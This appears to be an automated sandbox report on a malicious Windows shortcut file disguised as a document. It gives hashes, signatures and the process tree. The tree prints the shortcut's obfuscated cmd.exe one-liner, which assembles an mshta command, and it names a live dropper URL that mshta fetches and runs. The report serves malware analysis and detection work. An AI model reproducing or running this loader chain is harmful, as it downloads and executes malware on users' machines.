Analysis

  • max time kernel
    148s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:36

General

  • Target
    DOC-0KNWC5.lnk
  • Size 2KB
  • Sample260804-khnsrabl4w
  • SHA256 5f00d84641b2416ec9347a7d9e8eeb7da96456f59115b903bfaf2de4ca9536dd
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-0KNWC5.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5092
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set IiqH=netztdenjbwfgmxfltzoenet&&set NRI=winhhwixkfshmxwin&&set tL=oldbtyhnpcold&&set gJcO=netabugjkhsozzxinet&&set Wdcnn=0vst1&&set Fq=7zawh&&set AAzF=qrtpj&&set pKh=1bmc45&&set nW=31shels&&set gq=jtag&&set lXR=logpdftfctdlog&&set WN=cfgiipdxvcfg&&set gvv=dbgbyactuutukmzgdbg&&set sC=dbgwgkdxucadodbg&&set It=tmpkobmtbwmbjbcxstmp&&set RODns=bakxwvehbak&&set KXaT=dbgqueaaypevyroldljcdbg&&set ia=netfbungykbqgurnnzazynet&&set JpiiG=https:@/@/ma@-pdff@ill@[email protected]@/@h@/e@sta@[email protected]?r@=@3914@6@9FB@5D82@DB&&start /b !pKh:~2,1!!nW:~2,2!!gq:~1,2! !JpiiG:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4332
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:5388

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads